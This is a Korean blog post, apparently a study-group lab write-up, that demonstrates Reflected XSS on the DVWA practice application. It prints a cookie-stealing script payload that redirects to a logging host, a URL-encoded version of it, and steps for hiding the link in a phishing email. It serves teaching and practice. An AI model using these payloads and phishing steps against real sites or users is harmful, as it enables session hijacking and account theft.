[Reflected XSS 공격의 발생]
사용자의 입력 값을 받고 되돌려 주는 곳에서 발생한다. -> 웹 사이트에서 검색 했을 때 검색 내용을 보여주는 경우가 있다.
해커가 악의적인 스크립트를 포함한 URL 을 작성하고 이용자가 해당 URL 을 눌렀을 때 악의적인 스크립트가 실행되면서
의도치 않은 행위를 수행하게 된다. -> 굳이 서버까지 갈 필요가 없다.
[실습 내용]
Reflected XSS 를 실습해보자!
[초기 화면]
- 사용자의 이름을 입력받으면 그대로 출력하는 기능이 존재한다.
- 사용자의 입력 값을 받을 때 항상 주의해야 할 점은 사용자 입력값을 전적으로 신뢰한다는 것이다.
- 스크립트문을 그대로 입력받으면 그대로 출력하는지 스크립트문을 넣어보았다.
- 그대로 스크립트문이 출력되는 것을 볼 수 있다.
- 이렇게 사용자의 입력 값을 되돌려 주는 곳에서 취약점이 발생한다는 사실을 알았다.
- 그렇다면 해당 취약점을 이용하여 어떻게 이용자의 쿠키를 탈취하고 URL 을 어떤식으로 누르게 할 수 있을까?
<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
- 우선 검색 창에 해당 스크립트문을 삽입한다.
- 에러 메시지가 뜨는데 여기서 서버 로그를 확인해보았다.
- 서버 로그를 확인하는 tail -f 명령어도 알아두도록 하자! (파일의 마지막 10줄을 읽을 수 있으며 -f 옵션을 사용하면 실시간으로 확인 할 수 있다.)
- 이렇게 쿠키를 획득할 수 있었다.
- 만약 location.href 에 들어있는 주소가 해커의 주소였다면 해커가 쿠키를 획득했을 것이다.
- 이제 피싱 메일을 보내서 확인해보자.
http://127.0.0.1/vulnerabilities/xss_r/?name=leeyu#
- 일단 사이트의 주소를 복사한다.
<script>document.location%3D'http://127.0.0.1/cookie%3F'%2Bdocument.cookie</script>
- 그리고 뒤에 해당 스크립트문을 넣는다.
- 중간에 인코딩 문자는 지메일에서 메일을 보낼 경우 url 인코딩을 거쳐야 되기 때문이다.
- 이렇게 Link 글자에 URL 을 삽입했다.
- 그리고 해당 링크를 누르면 이렇게 오류 페이지가 뜨는데 한번 로그를 살펴보자.
- 성공적으로 쿠키를 탈취했다.
- 이게 바로 스크립트에 취약한 페이지의 URL 에 악의적인 스크립트를 삽입해서 만든 URL 링크를 클릭하여 사용자가 쿠키를 탈취당하는 것이다.
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W5 : DVWA 실습 - Content Security Policy (CSP) Bypass (0) | 2022.10.23 |
---|---|
[빡공팟 5기] W5 : DVWA 실습 - Stored XSS (0) | 2022.10.23 |
[빡공팟 5기] W5 : DVWA 실습 - DOM based XSS (0) | 2022.10.23 |
[빡공팟 5기] W5 : DVWA 실습 - Weak Session IDs (0) | 2022.10.23 |
[빡공팟 5기] W5 : DVWA 실습 - SQL Injection(Blind) (0) | 2022.10.23 |